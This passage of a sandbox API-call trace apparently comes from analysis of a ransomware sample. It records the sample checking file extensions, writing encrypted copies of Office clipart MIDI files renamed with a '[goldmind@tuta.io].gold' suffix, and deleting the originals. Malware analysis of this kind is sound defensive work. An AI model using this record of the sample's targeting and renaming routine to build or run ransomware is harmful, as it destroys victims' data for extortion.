[0094.567] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0094.567] lstrlenW (lpString=".1cd") returned 4 [0094.567] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.567] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_08.MID") returned 63 [0094.567] lstrlenW (lpString=".jpg") returned 4 [0094.567] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.567] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.567] lstrlenW (lpString="PARNT_09.MID") returned 12 [0094.567] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0094.568] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=6764) returned 1 [0094.568] CloseHandle (hObject=0x33c) returned 1 [0094.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20 [0094.568] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0094.568] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.568] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.568] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0094.569] GetLastError () returned 0x0 [0094.569] ReadFile (in: hFile=0x33c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x1a6c, lpOverlapped=0x0) returned 1 [0094.570] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0094.571] ReadFile (in: hFile=0x33c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.571] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.571] SetEndOfFile (hFile=0x394) returned 1 [0094.571] CloseHandle (hObject=0x394) returned 1 [0094.571] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.571] SetEndOfFile (hFile=0x33c) returned 1 [0094.573] CloseHandle (hObject=0x33c) returned 1 [0094.573] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.573] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0094.573] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0094.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0094.574] lstrlenW (lpString=".doc") returned 4 [0094.574] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.574] lstrlenW (lpString=".docx") returned 5 [0094.574] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0094.574] lstrlenW (lpString=".pdf") returned 4 [0094.574] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.574] lstrlenW (lpString=".xls") returned 4 [0094.574] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.574] lstrlenW (lpString=".xlsx") returned 5 [0094.574] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0094.574] lstrlenW (lpString=".ppt") returned 4 [0094.574] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0094.574] lstrlenW (lpString=".zip") returned 4 [0094.574] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.574] lstrlenW (lpString=".rar") returned 4 [0094.574] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.574] lstrlenW (lpString=".bz2") returned 4 [0094.574] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.574] lstrlenW (lpString=".7z") returned 3 [0094.574] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0094.574] lstrlenW (lpString=".dbf") returned 4 [0094.574] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0094.574] lstrlenW (lpString=".1cd") returned 4 [0094.574] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0094.574] lstrlenW (lpString=".jpg") returned 4 [0094.574] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0094.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0094.574] lstrlenW (lpString=".doc") returned 4 [0094.574] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.574] lstrlenW (lpString=".docx") returned 5 [0094.574] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0094.574] lstrlenW (lpString=".pdf") returned 4 [0094.574] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.574] lstrlenW (lpString=".xls") returned 4 [0094.574] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.574] lstrlenW (lpString=".xlsx") returned 5 [0094.574] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0094.574] lstrlenW (lpString=".ppt") returned 4 [0094.574] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.574] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0094.574] lstrlenW (lpString=".zip") returned 4 [0094.574] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.574] lstrlenW (lpString=".rar") returned 4 [0094.574] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.574] lstrlenW (lpString=".bz2") returned 4 [0094.574] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.574] lstrlenW (lpString=".7z") returned 3 [0094.574] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0094.575] lstrlenW (lpString=".dbf") returned 4 [0094.575] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0094.575] lstrlenW (lpString=".1cd") returned 4 [0094.575] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.575] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0094.575] lstrlenW (lpString=".jpg") returned 4 [0094.575] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.575] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.575] lstrlenW (lpString="PARNT_10.MID") returned 12 [0094.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0094.575] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=5393) returned 1 [0094.575] CloseHandle (hObject=0x33c) returned 1 [0094.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 0x20 [0094.575] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.575] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0094.576] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.576] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.576] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0094.576] GetLastError () returned 0x0 [0094.576] ReadFile (in: hFile=0x33c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x1511, lpOverlapped=0x0) returned 1 [0094.836] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x1520, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x1520, lpOverlapped=0x0) returned 1 [0094.836] ReadFile (in: hFile=0x33c, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.836] WriteFile (in: hFile=0x394, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.836] SetEndOfFile (hFile=0x394) returned 1 [0094.837] CloseHandle (hObject=0x394) returned 1 [0094.837] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.837] SetEndOfFile (hFile=0x33c) returned 1 [0094.838] CloseHandle (hObject=0x33c) returned 1 [0094.838] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.863] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_10.mid")) returned 1 [0094.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0094.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0094.863] lstrlenW (lpString=".doc") returned 4 [0094.863] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.863] lstrlenW (lpString=".docx") returned 5 [0094.863] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0094.863] lstrlenW (lpString=".pdf") returned 4 [0094.863] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.863] lstrlenW (lpString=".xls") returned 4 [0094.863] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.863] lstrlenW (lpString=".xlsx") returned 5 [0094.863] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0094.863] lstrlenW (lpString=".ppt") returned 4 [0094.863] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0094.863] lstrlenW (lpString=".zip") returned 4 [0094.863] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.863] lstrlenW (lpString=".rar") returned 4 [0094.863] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.863] lstrlenW (lpString=".bz2") returned 4 [0094.863] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.863] lstrlenW (lpString=".7z") returned 3 [0094.863] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.863] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0094.864] lstrlenW (lpString=".dbf") returned 4 [0094.864] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0094.864] lstrlenW (lpString=".1cd") returned 4 [0094.864] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0094.864] lstrlenW (lpString=".jpg") returned 4 [0094.864] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0094.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0094.864] lstrlenW (lpString=".doc") returned 4 [0094.864] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.864] lstrlenW (lpString=".docx") returned 5 [0094.864] lstrcmpiW (lpString1=".docx", lpString2="0.MID") returned -1 [0094.864] lstrlenW (lpString=".pdf") returned 4 [0094.864] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.864] lstrlenW (lpString=".xls") returned 4 [0094.864] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.864] lstrlenW (lpString=".xlsx") returned 5 [0094.864] lstrcmpiW (lpString1=".xlsx", lpString2="0.MID") returned -1 [0094.864] lstrlenW (lpString=".ppt") returned 4 [0094.864] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0094.864] lstrlenW (lpString=".zip") returned 4 [0094.864] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.864] lstrlenW (lpString=".rar") returned 4 [0094.864] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.864] lstrlenW (lpString=".bz2") returned 4 [0094.864] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.864] lstrlenW (lpString=".7z") returned 3 [0094.864] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0094.864] lstrlenW (lpString=".dbf") returned 4 [0094.864] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0094.864] lstrlenW (lpString=".1cd") returned 4 [0094.864] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.864] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_10.MID") returned 63 [0094.864] lstrlenW (lpString=".jpg") returned 4 [0094.864] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.864] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.864] lstrlenW (lpString="SWEST_01.MID") returned 12 [0094.864] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0094.865] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x329ff1c | out: lpFileSize=0x329ff1c*=8501) returned 1 [0094.865] CloseHandle (hObject=0x190) returned 1 [0094.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 0x20 [0094.865] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0094.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0094.865] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.865] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.865] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0094.866] GetLastError () returned 0x0 [0094.866] ReadFile (in: hFile=0x190, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x2135, lpOverlapped=0x0) returned 1 [0094.896] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0x2140, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0x2140, lpOverlapped=0x0) returned 1 [0094.897] ReadFile (in: hFile=0x190, lpBuffer=0x3ce0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x329fed4, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesRead=0x329fed4*=0x0, lpOverlapped=0x0) returned 1 [0094.897] WriteFile (in: hFile=0x3a4, lpBuffer=0x3ce0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x329fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ce0020*, lpNumberOfBytesWritten=0x329fc9c*=0xec, lpOverlapped=0x0) returned 1 [0094.897] SetEndOfFile (hFile=0x3a4) returned 1 [0094.897] CloseHandle (hObject=0x3a4) returned 1 [0094.897] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x329fec8 | out: lpNewFilePointer=0x0) returned 1 [0094.897] SetEndOfFile (hFile=0x190) returned 1 [0094.899] CloseHandle (hObject=0x190) returned 1 [0094.899] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0094.951] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\swest_01.mid")) returned 1 [0094.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0094.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0094.952] lstrlenW (lpString=".doc") returned 4 [0094.952] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.952] lstrlenW (lpString=".docx") returned 5 [0094.952] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.952] lstrlenW (lpString=".pdf") returned 4 [0094.952] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.952] lstrlenW (lpString=".xls") returned 4 [0094.952] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.952] lstrlenW (lpString=".xlsx") returned 5 [0094.952] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.952] lstrlenW (lpString=".ppt") returned 4 [0094.952] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0094.952] lstrlenW (lpString=".zip") returned 4 [0094.952] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.952] lstrlenW (lpString=".rar") returned 4 [0094.952] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.952] lstrlenW (lpString=".bz2") returned 4 [0094.952] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.952] lstrlenW (lpString=".7z") returned 3 [0094.952] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0094.952] lstrlenW (lpString=".dbf") returned 4 [0094.952] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.952] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0094.952] lstrlenW (lpString=".1cd") returned 4 [0094.952] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0094.953] lstrlenW (lpString=".jpg") returned 4 [0094.953] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0094.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0094.953] lstrlenW (lpString=".doc") returned 4 [0094.953] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0094.953] lstrlenW (lpString=".docx") returned 5 [0094.953] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0094.953] lstrlenW (lpString=".pdf") returned 4 [0094.953] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0094.953] lstrlenW (lpString=".xls") returned 4 [0094.953] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0094.953] lstrlenW (lpString=".xlsx") returned 5 [0094.953] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0094.953] lstrlenW (lpString=".ppt") returned 4 [0094.953] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0094.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0094.953] lstrlenW (lpString=".zip") returned 4 [0094.953] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0094.953] lstrlenW (lpString=".rar") returned 4 [0094.953] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0094.953] lstrlenW (lpString=".bz2") returned 4 [0094.953] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0094.953] lstrlenW (lpString=".7z") returned 3 [0094.953] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0094.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0094.953] lstrlenW (lpString=".dbf") returned 4 [0094.953] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0094.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0094.953] lstrlenW (lpString=".1cd") returned 4 [0094.953] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0094.953] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SWEST_01.MID") returned 63 [0094.953] lstrlenW (lpString=".jpg") returned 4 [0094.953] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0094.954] lstrcmpiW (lpString1=".MID", lpString2=".gold") returned 1 [0094.954] lstrlenW (lpString="WNTER_01.MID") returned 12 [0094.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 